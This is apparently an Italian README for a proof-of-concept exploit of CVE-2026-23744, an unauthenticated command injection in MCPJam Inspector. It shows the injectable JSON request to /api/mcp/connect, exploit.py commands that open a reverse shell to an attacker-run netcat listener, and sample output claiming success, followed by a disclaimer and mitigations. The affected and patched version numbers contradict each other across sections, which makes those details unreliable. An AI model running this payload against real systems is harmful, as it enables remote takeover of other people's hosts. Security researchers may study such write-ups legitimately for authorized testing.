
PoC exploit per CVE-2026-23744 — RCE non autenticata in MCPJam Inspector tramite iniezione di comandi serverConfig non convalidata su /api/mcp/connect, che consente una reverse shell come proprietario del processo senza credenziali.
MCPJam è un ispettore e proxy MCP (Model Context Protocol) open-source utilizzato per connettere, gestire il debug e amministrare server MCP. Le versioni <= 1.4.2 espongono l'endpoint /api/mcp/connect senza autenticazione o validazione dell'input. Un attaccante remoto non autenticato può iniettare comandi OS arbitrari tramite i campi serverConfig.command / serverConfig.args, ottenendo l'esecuzione remota di codice con i privilegi del proprietario del processo.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-23744 |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — Neutralizzazione Impropria di Elementi Speciali in un Comando OS |
| Componente | MCPJam MCP Proxy Inspector |
| Affette | MCPJam <= 1.4.2 |
| Corrette | MCPJam >= 1.4.3 |
| Vettore d'attacco | Rete — Nessuna autenticazione richiesta |
| Divulgazione | 2026-01-15 |
L'endpoint vulnerabile accetta una richiesta POST JSON non autenticata:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam passa command e args direttamente allo spawner di processo Node.js (child_process.spawn o equivalente) senza:
Un attaccante che può raggiungere la porta 3000 (default) può fornire un payload di reverse shell in args[1], ottenendo una shell con i privilegi del proprietario del processo MCPJam — spesso root o un account di servizio con ampio accesso al sistema.
L'assenza di un middleware di autenticazione su /api/mcp/connect combinata con l'uso incontrollato di valori forniti dall'utente in una chiamata di avvio di processo crea una classica iniezione di comandi OS non autenticata (CWE-78).
pip install requests urllib3
-t, --target IP o hostname del target
-p, --port Porta del target (default MCPJam: 3000)
-l, --lhost IP locale per callback della reverse shell
-r, --lport Porta locale per callback della reverse shell
--timeout Secondi di attesa per disponibilità del target (default: 30)
--shell-timeout Timeout POST prima di assumere shell caduta (default: 5)
-v, --verbose Stampa il corpo completo della risposta HTTP
1. Avvia un listener netcat sulla tua macchina:
nc -lvnp 4444
2. Esegui l'exploit:
# Base
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# Verboso + timeout di disponibilità esteso (target lenti)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# Timeout shell più lungo (dai più tempo prima di presumere che la shell sia stata stabilita)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · Unauthenticated RCE via serverConfig Injection ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
Component : MCPJam MCP Proxy Inspector
Affected : <= 1.2.3 → Patched: >= 1.2.4
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — OS Command Injection
Type : Unauthenticated Remote Code Execution (Network / No Auth)
Reference : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] Verifica del target 10.10.11.50:3000 (max 30s) ...
10:32:02 [+] Il target è attivo — HTTP 200
10:32:02 [*] Endpoint dell'exploit : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] Callback reverse shell : 10.10.14.5:4444
10:32:02 [!] Assicurati che il listener : nc -lvnp 4444
10:32:02 [*] Invio del payload ...
10:32:07 [+] POST scaduto dopo 5s — reverse shell probabilmente stabilita su 10.10.14.5:4444
10:32:07 [+] Passa al tuo listener netcat — connessione in arrivo prevista.
10:32:07 [+] Routine di exploit completata.
Timeout = indicatore di successo. Quando la richiesta POST scade, il processo target è bloccato in attesa della reverse shell aperta — questo è il comportamento atteso, che conferma il raggiungimento dell'RCE. Passa immediatamente al tuo listener.
Questo exploit viene fornito strettamente a scopo educativo e per test di sicurezza autorizzati. Utilizzalo solo contro sistemi di cui sei proprietario o per i quali hai ricevuto esplicita autorizzazione scritta per il test. L'uso non autorizzato è illegale e non etico.
| Priorità | Azione |
|---|
| Critica | Aggiorna MCPJam a >= 1.2.4 |
| Alta | Limita l'accesso a /api/mcp/connect tramite middleware di autenticazione |
| Alta | Applica una regola firewall a livello di rete che limiti l'accesso alla porta MCPJam agli IP fidati |
| Media | Autorizza solo valori consentiti per serverConfig.command |
| Media | Esegui MCPJam all'interno di un contenitore / con un utente Linux limitato (nessuna shell, nessun /dev/tcp) |
| Bassa | Attiva il logging di audit sugli eventi di avvio dei processi |